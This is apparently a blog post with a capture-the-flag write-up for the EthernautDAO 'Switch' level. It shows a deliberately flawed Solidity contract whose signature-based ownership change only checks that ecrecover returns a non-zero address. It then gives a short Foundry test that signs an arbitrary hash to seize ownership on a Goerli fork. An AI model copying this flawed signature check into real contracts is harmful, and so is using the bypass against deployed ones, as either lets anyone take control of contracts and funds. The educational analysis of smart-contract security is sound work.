EthernautDAO CTF 7 Solution — Switch

CTF 7: Switch

Study the contracts

/**
*Submitted for verification at Etherscan.io on 2022-08-13
*/
// SPDX-License-Identifier: MITpragma solidity >=0.8.0;/**
* @title Claim ownership of the contract below to complete this level
* @dev Implement one time hackable smart contract (Switch)
*/
contract Switch {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
constructor() {
owner = msg.sender;
}
// Changes the ownership of the contract. Can only be called by the owner
function changeOwnership(address _owner) public onlyOwner {
owner = _owner;
}
// Allows the owner to delegate the change of ownership to a different address by providing the owner's signature
function changeOwnership(
uint8 v,
bytes32 r,
bytes32 s
) public {
require(ecrecover(generateHash(owner), v, r, s) != address(0), "signer is not the owner");
owner = msg.sender;
}
// Generates a hash compatible with EIP-191 signatures
function generateHash(address _addr) private pure returns (bytes32) {
bytes32 addressHash = keccak256(abi.encodePacked(_addr));
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", addressHash));
}
}
  • there’s no check that the current owner was the one signing the hash
  • there’s no check on which should be the delegated user that can gain the ownership
  • there’s no check that the signed message has been already used previously. Can the delegated user use multiple time the signed message and gain ownership over and over?
  • there’s no check on the deadline of the signed message. Can the delegated user get the ownership whenever (in time) he/she wants?
  • there’s no check on the chainId so if the contract has been deployed on multiple chains, the user would be able to get ownership on all of them
  • probably I’m missing some other checks that should be there
uint256 privateKey = 123456;
bytes32 hashedMessage = bytes32(0);
// sign the hashed message
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hashedMessage);
// exploit the level
level.changeOwnership(v, r, s);

Solution code

  • Create an Alchemy or Infura account to be able to fork the Goerli blockchain
  • Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
  • Run a foundry test that will use the fork to execute the test
function testCompleteLevel() public {
address player = users[0];
vm.startPrank(player);
uint256 privateKey = 123456;
bytes32 hashedMessage = bytes32(0);
// sign the hashed message
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hashedMessage);
// exploit the level
level.changeOwnership(v, r, s);
vm.stopPrank(); // Assert that the level has completed
assertEq(level.owner(), player);
}

Further reading

Disclaimer

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
StErMi

StErMi

801 Followers

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden